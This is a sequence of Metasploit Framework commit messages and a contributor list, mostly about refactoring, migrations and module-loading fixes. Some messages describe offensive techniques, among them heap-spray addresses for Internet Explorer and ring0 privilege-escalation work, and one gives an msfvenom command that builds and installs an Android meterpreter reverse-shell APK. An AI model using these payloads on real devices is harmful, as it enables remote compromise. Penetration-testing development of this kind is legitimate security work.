After many tests, it turns out address 0x0c0d2020 is the most
consistent location acorss various IE versions. For dev purposes,
it's rather important to have this documented somewhere.
Thanks to corelanc0d3r for the data.
Also replaces dead code in lib/msf/core/exploit/local.rb with what was
actually being used for the Exploit::Local class that lived in
lib/msf/core/exploit.rb.
Aside from codebase-wide changes, nearly all of these tests haven't been
touched since before 2010, and there is no effort to maintain this style
of testing. We've moved on to (correctly) seperating out our tests from
our codebase.
While it makes lots of sense to bring check to all modules, of course
some modules will not be able to actually use it. Namely modules like
nop and payload modules. If you're feeling creative, you could probably
come up with semantically similar checks for those, too.
[#47720609]
Msf::PayloadSet#add_module does NOT return an annotated module class as
Msf::ModuleSet#add_module does because a payload module is defined as a
ruby Module instead of a ruby Class. Since add_module doesn't always
return an annotated_class, the logic in
Msf::ModuleManager#on_module_load needed to change to NOT use
annotated_class and create #add_module as return [void]. Thus, it is
necessary to pass in all the metasploit module metadata to
Msf::ModuleManager#cache_in_memory instead of assuming they can be
derived from the (payload) Module or (other) Class.
[#47720609]
Msf::ModuleManager#module_info_by_path was not being updated when a
module was loaded, so if a load_module was called again, say during
start up of prosvc, the module would reload even though there was no
change in the file because file_changed? couldn't find an entry for the
module's path in module_info_by_path.
[#47720609]
Fix some docs and variable names to make it clearer when methods are
expecting module instance and module classes. Change some 'name'
variables to 'reference_name' since that's the proper terminology.
[#50179803]
[SeeRM #7967]
[SeeRM #7870]
Because metasploit-framework runs migrations with the same process and
with the same connection as it later accesses the database, the column
information can become cached prematurely and be incorrect by the end of
the migrations. Fix the bad cache by automatically resetting the column
information for all model classes after the migrations have run.
[#50179803]
Move Msf::DBManager#migrate and the migrated attribute to
Msf::DBManager::Migration module to lower complexity of db_manager.rb
and in preparation for more migration related code on this branch.
[#50099107]
If Msf::DBManager#initialize_metasploit_data_models is run multiple
times, such as during specs, ActiveRecord::Migrator.migrations_paths was
getting populated with multiple copies of the metasploit_data_models
db/migrate path, which would lead to 'DB.migrate threw an exception:
Multiple migrations have the version number 0' errors in framework.log.
IO#read returns nil for an empty file if given a length argument, which
caused a stack trace when attempting to import a file instead of a
useful error message.
This function takes advantage of MSTIME's CTIMEAnimationBase::put_values
function that's suitable for a no-spray technique (based on wtfuzz's
PoC for MS13-008)
When a module is configured to listen on the INADDR_ANY interface, with
a payload that does not have an LHOST option, it attempts to determine
the srvhost from a client socket which would only be available when the
module has included the TcpClient mixin (i.e., it is both passive and
aggressive stance), causing a NameError for the undefined +sock+.
This commit fixes the problem in two ways:
1. It changes the default cli in get_uri to be the module's self.cli,
which should always be set when passive modules would need it (e.g., in
the on_request_uri method).
2. It adds a check to make sure that the calling module has a sock
before trying to get its peerhost. This was @marthieubean's suggested
solution in #1775.
[Closes#1775]
An earlier change to the framework (prepend_migrate) forced single
payloads to use the internal_generate method of payload.rb.
internal_generate calls build which has a cache to track assembled
payloads. This method assumes that a payload only needs to be
assembled once, with optional values patched in later.
Single payloads do not work this way. Each time they are generated
new assembly source is created with the options hardcoded in.
This fix updates build to use the hashcode of the assembly code as
part of the cache key.
This fixes#7898 -- a bug that prevents a user from generating
multiple variations of a single payload without a restart.
Signing the generated APK in the module means users don't have to have
keytool or jarsigner to create a working package.
Example usage:
./msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.99.1 LPORT=2222 -f raw > meterp.apk
adb install ./meterp.apk
Update Rex::Socket::SslTcp to accept verification mode string from
Rex::Socket::Parameters, which has been modified accordingly.
Add SSLVerifyMode and SSLCipher options (params and socket work
were done before, but the option was not exposed) to
Msf::Exploit::Tcp.
Testing:
```
>> sock = Rex::Socket::Tcp.create('PeerHost'=>'10.1.1.1','PeerPort'
=>443,'SSL' => true, 'SSLVerifyMode' => 'NONE')
>> sock.sslctx.verify_mode
=> 0
>> sock.close
=> nil
>> sock = Rex::Socket::Tcp.create('PeerHost'=>'10.1.1.1','PeerPort'
=>443,'SSL' => true, 'SSLVerifyMode' => 'PEER')
=> #<Socket:fd 13>
>> sock.sslctx.verify_mode
=> 1
```
Note: this should be able to resolve the recent SSL socket hackery
of exploit/linux/misc/nagios_nrpe_arguments.
[#46491831]
Move Msf::DBManager#import_msf_xml into
Msf::DBManager::ImportMsfXml#import_msf_xml and include
Msf::DBManager::ImportMsfXml to cut down size of the infamous db.rb.
Break up #import_msf_xml to have separate methods for parsing web_forms,
web_pages, and web_vulns. The method for
web_vulns, #import_msf_web_vuln_element is needed so that it can be overridden in
Pro to handle the Pro-only changes to Mdm::WebVuln.
[#46491831]
Comments at the start of the file with ## caused YARD to think the
comment was documenting the require call. By removing the ##, the
warning disappeared. I did not determine what is special about ## in
file comments.
store_local calls report note from db.rb directly instead of going
through the report method. this means we might miss the workspace
causing a stack trace
Pulling out the set_rhosts_from_addrs -- that's not required for
grep-like functionality, and adding this method to the global namespace
is undesirable.
This reverts commit 52596ae3b4.
Resolved a conflict between grep and go_pro (go_pro was added after
grep). Adds @kernelsmith's grep command. Josh is determined to have
msfconsole be his default shell, it seems.
[Closes#1320]
Conflicts:
lib/msf/ui/console/command_dispatcher/core.rb
Recent category updates to modules caused variations of vulns of the
same type to be ignored leading to a smaller exploitation surface.
Thus, use the #name of the module as the key instead of the category name.
This commit fixes an Encoding::CompatibilityError incompatible
encoding regexp match (ASCII-8BIT regexp with UTF-8 string) when
sanitizing non-printable tokens from a user/pass string.
The UTF-8 strings are derived from strings passed through the
module.execute RPC call.
#log_fingerprint and #log_resource now create a key in the
parent's #vulns attribute with the name of the vuln type and
store the details of each such vuln under it.
[#44034071]
ActiveRecord::Migrator has a class attribute, migrations_paths,
specificially for storing a list of different directories that have
migrations in them. ActiveRecord::Migrator.migrations_paths is used in
rake db:load_config, which is a dependency of db:migrate, etc. that is
passed to ActiveRecord::Migrator.migrate. Since migrate supports an
array of directories, and not just a single directory, there is no need
to merge all the migrations paths into one temporary directory as was
previously done.
[#44034071]
metasploit_data_models version 0.5.0 copied the migrations from
metasploit-framework/data/sql/migrate to
metasploit_data_models/db/migrate so that specs could be written the Mdm
models in metasploit_data_models. As part of the specs, :null => false
columns that should be :null => true were discovered, so a new migration
was added, but to metasploit_data_models/db/migrate, so it could be
tested. Instead of replicating migrations back and forth, I'm removing
the migrations completely from metasploit-framework and changing the
default migration path in Msf::DbManager#migration_paths to
MetasploitDataModels.root.join('db', 'migrate').
* Removes copy-pasted code from psexec_command module and uses the mixin
instead
* Uses the SMB protocol to delete files rather than psexec'ing to call
cmd.exe and del
* Replaces several instances of "rescue StandardError" with better
exception handling so we don't accidentally swallow things like
NoMethodError
* Moves file reading and existence checking into the Exploit::SMB mixin
In that order. #1476 was an attempt to salvage the functionality, but
sinn3r found some more bugs. So, undoing that, and undoing #1444 as
well.
First, do no harm. It's obvious we cannot be making sweeping changes in
libraries like this without a minimum of testing available. #1478 starts
to address that, by the way.
FixRM #7752
wmap_target_port is retrieved from datastore['RPORT'], and that's a
Fixnum. But wmap_base_url is treating that like a String, so when a
module uses that function, it's doomed.
See:
http://dev.metasploit.com/redmine/issues/7748
Conflicts:
modules/exploits/multi/http/sonicwall_gms_upload.rb
Adds a loop around triggering the WAR payload, which was causing some
unreliability with the Java target.
This function should not remove the trailing slash, because you may
end up getting a different HTTP response. The new function also
allows multiple URIs as argument, and will just merge & normalize
them together. [SeeRM #7733]
db.rb assumes that multi/handler sessions have a ParentModule defined
in their datastore. This assumption breaks when a user sets up a
multi/handler by hand to receive a session from another user (e.g.,
via multi_meter_inject).
When db.rb tries to access a member of a nil ParentModule, a
stacktrace is dumped to framework.log.
[fixes RM7269]
we discussed the solution to this bug a lot on IRC and in the ticket
itself, the consensus was to fix it as far upstream as possible before
sending to the parsers so as to avoid any future bugs of the same
nature, so this commit adds a check to import_nmap_xml to see if the
data is empty before passing it on to the parser, whether that parser
is nokogiri or the legacy parser.
db_nmap -h now produces the expected output and db_nmap still works as
expected.
* Fixes a bug in shikata where input greater than 0xffff length would
still use 16-bit counter
* Short circuits finding bad xor keys if there are no bad characters to
avoid
* Fixes huge performance issue with large inputs to xor-based encoders
due to the use of String#+ instead of String#<< in a loop. It now
takes ~3 seconds on modern hardware to encode a 750kB buffer with
shikata where it used to take more than 10 minutes. The decoding side
takes a similar amount of time and will increase the wait between
sending the second stage and opening a usable session by several
seconds.
I believe this addresses the intent of pull request 905
[See #905]
[FixRM #7539] - The valid?() function will first normalize() the
user-supplied input before validation. The problem is that the
normalize() function will ALWAYS convert data to integer, therefore
whatever you validate, you will always get true. For example:
when I do "yomama".to_i, that returns 0, and of course will pass
integer validation.
When db_disconnect is issued, this funtion does not update the status
of self.migrated to false. So when another reload command is used,
the update_module_details function will still try to connect to the
database, which causes the "Failed to reload" error.
Netsparker puts requests, responses, and info for vulns inside a cdata
(which makes sense because it's usually html snippets). This commit
handles that so report_web_vuln will actually be somewhat useful. Note
that the request is ignored by report_web_vuln despite there being a
place for it in the WebVuln model.
[SeeRM #7665]
* This mixin standardizes the previously ad-hoc deprecation warnings on
modules that have been moved.
* Uses the mixin in 3 existing modules that already have (or should have
had) deprecation warnings.
Added two options:
DB_USER_PASS: this will try each user/pass couple stored in the db
DB_ADD_ALL: this will add each user and password to the lists.
By setting this to true, auth_brute will try every user with
every known password.
* Adds Exploit::EXE to windows/postgres/postgres_payload. This gives us
the ability to use generate_payload_dll() which generates a generic dll
that spawns rundll32 and runs the shellcode in that process. This is
basically what the linux version accomplishes by compiling the .so on
the fly. On major advantage of this is that the resulting DLL will
work on pretty much any version of postgres
* Adds Exploit::FileDropper to windows version as well. This gives us
the ability to delete the dll via the resulting session, which works
because the template dll contains code to shove the shellcode into a
new rundll32 process and exit, thus leaving the file closed after
Postgres calls FreeLibrary.
* Adds pre-auth fingerprints for 9.1.5 and 9.1.6 on Ubuntu and 9.2.1 on
Windows
* Adds a check method to both Windows and Linux versions that simply
makes sure that the given credentials work against the target service.
* Replaces the version-specific lo_create method with a generic
technique that works on both 9.x and 8.x
* Fixes a bug when targeting 9.x; "language C" in the UDF creation query
gets downcased and subsequently causes postgres to error out before
opening the DLL
* Cleans up lots of rdoc in Exploit::Postgres
Note that only a custom module that allows for users to pass arguments
to nmap would be capable of hitting the error condition. Right now, only
auxiliary/scanner/oracle/oracle_login traverses the codepath, and that
doesn't allow for arbitrary args passed to nmap.
So... without contriving an example, it should be impossible to
experience or test.
[FixRM #7641]
created a new advanced option "HttpUknownRequestResponse" that will be sent back in the HTML body of unknown requests instead of the old static "No site configured at this address" message.
[SEERM #7294]
[Bug #40937817]
* exploit/multi/handler no longer filtered out from vuln creation and
other steps
* Name changed to parent module's name in session storage so we show something more helpful
than generic handler
* Same for vuln and attempt creation
... since super doesn't exist any more.
Also changes to using ModuleSet#[] inside ModuleManager#[] instead of
ModuleSet#create to mimic original behavior when ModuleManager was a
subclass of ModuleSet.
Instead of deleting all non-symbolics before the re-adding phase of
PayloadSet#recalculate, store a list of old module names, populate a
list of new ones during the re-adding phase, and finally remove any
non-symbolic module that was in the old list but wasn't in the new list.
Also includes a minor refactoring to make ModuleManager its own thing
instead of being an awkard subclass of ModuleSet. Now PayloadSet doesn't
need to know about the existence of framework.modules, which makes the
separation a little more natural.
[FixRM #7037]
Makes it work when using meterpreter. Because "quit" or "exit" in the
console ends up calling die() instead of falling through to whatever's
left in the file, a meterpreter session would never reach the code to
delete itself before this change.
[Fixes#38426061, #38097411]
Msf::Modules::Loader::Directory#read_module_content may calculate a non-existent
module_path that gets passed to File.open causing an Errno::ENOENT exception
to be raised when using the module cache with a module that has been
moved to a new path (as is the case that originally found this bug) or
deleted. Now, the exception is rescued and read_module_content returns
an empty string (''), which load_module detects with
module_content.empty? and returns earlier without attempting to module
eval the (empty) content.
As having Msf::Modules::Loader::Directory#read_module_content rescue the
exception, meant there was another place that needed to log and error
and store an error in Msf::ModuleManager#module_load_error_by_path, I
refactored the error reporting to call
Msf::Modules::Loader::Base#load_error, which handles writing to the log
and setting the Hash, so the error reporting is consistent across the
loaders.
The exception hierarchy was also refactored so that
namespace_module.metasploit_class now has an error raising counter-part:
namespace_module.metasploit_class! that can be used with
Msf::Modules::Loader::Base#load_error as it requires an exception, and
not just a string so the exception class, message, and backtrace can be
logged.
* Pulls common code up from several methods into #open_sc_manager
* Deprecates the name Windows::WindowsServices in favor of
Windows::Services. The platform is already clear from the namespace.
* Makes the post/test/services test module actually work
[See #1007]
[See #1012]
Msf::Modules::Loader::Archive#each_module_reference_name tried to check
the enabled types for the module_manager by accessing the
enabledment_by_type Hash, which is protected. Instead, it should use
the public type_enabled? method.
Add specs to test all of Msf::Modules::Loader::Archive while testing
each_module_reference_name. In order to properly test that modules
could be found in archives, I had to produce a fastlib archive, so there
is now a spec for FastLib.dump and FastLib.load. Some specs are marked
pending as I found a bug in FastLib, which has a work-around. The bug
is filed in PivotalTracker as
https://www.pivotaltracker.com/story/show/38730815 and the pending tests
include the URL also in their tags.
Just had a brain fart when converting the hash key names and translated
:mtype to :modification_time instead of the correct :type. Correct key
names are in
Msf::ModuleManager::Cache#module_info_by_path_from_database!.
Depending on how a socket was created, #getsockname will return either a
struct sockaddr as a String (the default ruby Socket behavior) or an
Array (the extend'd Rex::Socket::Tcp behavior). Avoid the ambiguity when
generating SSL certificates for meterpreter handlers by always picking a
random hostname.
This is by no means a proper fix for the underlying problem of
Socket#getsockname having ambiguous behavior before and after being
extended with Rex::Socket::Tcp. It does, however, solve the immediate
problem of not being able to create tunneled meterpreter sessions over
http(s) sessions.
[SeeRM #7350]
[Fixes#37630057]
Modules were always being detected as having file changes because the
parent_path directory, instead of the actual module_path, was being
passed to module_manager.file_changed?, which caused the modification
times to not match.
To ensure this change fixes the ambiguous module warnings, a full spec
for Msf::Core::Modules::Loader::Base has been written.
spec/msf has moved to spec/lib/msf to match conventional spec layout and
allow for the spec/support directory to not be confused as a lib
subdirectory being tested.
Also adds some clarifying commentation and adds todb to the list of
authors since he wrote the original module for windows upon which this
one is based.
Ensures that the absence of activerecord does not prevent msfconsole
from loading. This returns us to the previous state of affairs where it
is possible to use the framework entirely without a database.
To test:
1. rm -rf lib/gemcache/ruby/1.9.1/gems/activerecord*
2. remove any locally installed versions of activerecord
3. msfconsole
msfconsole should load up with a warning like so:
[-] ***
[-] * WARNING: No database support: LoadError cannot load such file -- active_record
[-] ***
... and should still be functional.
I missed a spot where I referenced the nested_paths as nested_pathnams
after I renamed the variable. Now, Msf::ModuleManager#add_module_paths
has rspec tests.
Rspec can be invoked with `rake` as the default task or `rake spec`
explicitly.
I changed RuntimeError to ArgumentError since that error was more
specific to having a bad argument error. I adding missing dependencies
to the Gemfile and a require to msf/core/db_manager.rb where it errored
out trying to access Msf::Config when I just did require 'msf/core' in
the spec.
[#36737359]
The merging of reload_module and the various load_module methods
resulted in the module loading from disk, but because the Hash entry in
the module manager was not deleted before on_module_load was called, the
newly reloaded module was logged as an ambiguous module name instead of
a reload. In order to report the reload errors correctly, I determined
that module_load_error_by_reference_name should really be
module_load_error_by_path. I eliminated faild in favor of this new name
since failed was just calling the attribute and the attribute's name is
clearer about the format of the data.
Tested by run rexploit and then exiting over and over with
ms08_067_netapi. When I messed up the file so it couldn't load, by
adding `inclde Exploit` (note mispelling of `include`), it reported the
error to msfconsole. When I removed the bad line and added a puts
"RELOADING <n>", where I kept incrementing n and saving the file, the
new number appeared during each rexploit.
[#36737359]
Write the module_eval backtrace to the log, but only the error's class
and name to Msf::ModuleManager#module_load_error_by_reference_name as
the contents of the Hash are printed in the console, which should never
recieve backtraces.
[#36737359]
Refactor the behavior of loading symbolic modules from cache by renaming
methods so it's clearer what they do and ensure that cached modules from
Fastlibs and directories can both be loaded, which was not previously
possible since the demand_load_module only called load_module_from_file.
[#36737359]
On Linux, some of the unqualified constants that resolve on Mac OS X,
don't resolve, so to prevent errors (and because I can't justify why the
unqualified constants should resolve on OS X), I'm qualifying all the
Msf constants that are referenced in the code I've refactored.
[#36737359]
Fix the YARD docs to document the return values and make them consistent
with the modules being called. Ensure the force flag is passed as an
option to load_modules instead of a positional argument.
[#36737359]
When starting msfconsole, 'bundler/setup' is not required, the
'msf/env/gemcache' is required instead. Unlike 'bundler/setup' the
msf/env gemcache does not do the automatic requires for gems in the
cache, so explicit requires on 'active_support/concern' is needed to get
ActiveSupport::Concern defined. (I could have done require
'active_support' to match the behavior of 'bundler/setup', but a smaller
require seemed more appropriate.
removes unnecessary parens (and yes I confirmed they are properly
paired), and adds some comments regarding this as not being an ideal
solution, but rather a stopgap
Changed lexical scope when I changed the declaration from module Msf;
class ModuleSet to class Msf::ModuleSet so that constants in Msf would
not automatically resolve.
I wasn't using any the features of ActiveSupport::Concern in
Msf::ModuleManager::Reloading, so remove the extend and just include it
as a regular module.
Came up on IRC, I'm not attached to it, but this commit adds the
rename_file method to lib/msf/core/post/file.rb and aliases it to
move_file and mv_file
[Fixes#36737359]
Refactor Msf::ModuleManager into concerns so its easier to understand and
duplicate code can be made DRY. The refactoring also ensures that when
loading from directories, Fastlibs, or reloading, the wrapper module will
always be named so that activesupport/dependencies will function.
[#36737359]
active_support/dependencies cannot resolve missing constants in Metasploit
modules because the wrapper module is anonymous. In order to make the
wrapper module non-anonymous, the module must be assigned to a constant.
Since we don't want modules colliding, the wrapper module needs a unique
name, so use the module lookup name to derive the proper nested module names
to namespace the wrapper module. All derived modules are nested under
Msf::Modules. The name derivation handles invalid characters for constant
names such as digits as the first character or non-alphanumeric character.
The invalid constant name characters are converted to their hex value and
prefixed with X, so '-' in a name become 'X2d'.
The 'unless' statement expects there's always a value for USERNAME
and PASSWORD. We might as well just set '' as the default value
to avoid the NoMethodError mistake. Related to bug #7140.
Also gets rid of the conn_ids array, which was never pruned (and
without some extra gymnastics in meterpreter/client.rb *can't* be) when
handler URLs were removed.
Unfortunately, adds a dep on bionic for runtime compilation.
Gets ring0, sets the (res)uid to 0 and jumps to the payload. Still some
payload issues because linux stagers don't mprotect(2) the buffer they
read(2) into. Single payloads work fine, though.
Also cleans up and improves local exploits' ability to compile C.
[SEERM #3038]
When using the reload_all command, the framework will trigger an
'undefined method module_history' error, because we're missing
an accessor.
Also, even though reload_modules returns "counts". That actually
returns a hash instead of a real count of modules... the return
value is also never actually used anywhere. But to make this
part not broken, we return the actual count.
This is a fix for issues related to:
'undefined method `[]' for nil:NilClass'
It is possible that a PDF may not have the 'Size' xref, and people
are running into the 'undefined method'[]' for NilClass' exception.
Because the pdf parser always assumes there is a Size field,
so it uses a match() function to find the value for Size, which
can be nil.
See the following bug report for example:
https://dev.metasploit.com/redmine/issues/7014
Something is still broken, my socket() is returning EAFNOSUPPORT whereas
what looks like the same syscall in wunderbar_emporium's exploit.c is
returning a socket. Similarly, my __mmap2() is returning EFAULT when
trying to map anything, not just NULL.
This can currently build an executable that creates a socket, opens a
temporary file, truncates that file with ftruncate(2) and calls
sendfile. Still needs to mmap NULL and figure out ring0 shellcode.
Baby steps.
Tasos Laskos
Tod Beardsley
David Maloney
sinn3r
Luke Imhoff
lsanchez-r7
James Lee
Samuel Huckins
jvazquez-r7
sinn3r
kernelsmith
Raphael Mudge
Meatballs
Tod Beardsley
timwr
scriptjunkie
RageLtMan
Rob Fuller
Spencer McIntyre
Gerry Eisenhaur
HD Moore
nemski
Royce Davis
Robin Wood
jvennix-r7
Daniele Martini
Sherif Eldeeb
corelanc0d3r
m m
kernelsmith
Ramon de C Valle
midnitesnake
Stephen Haywood
m m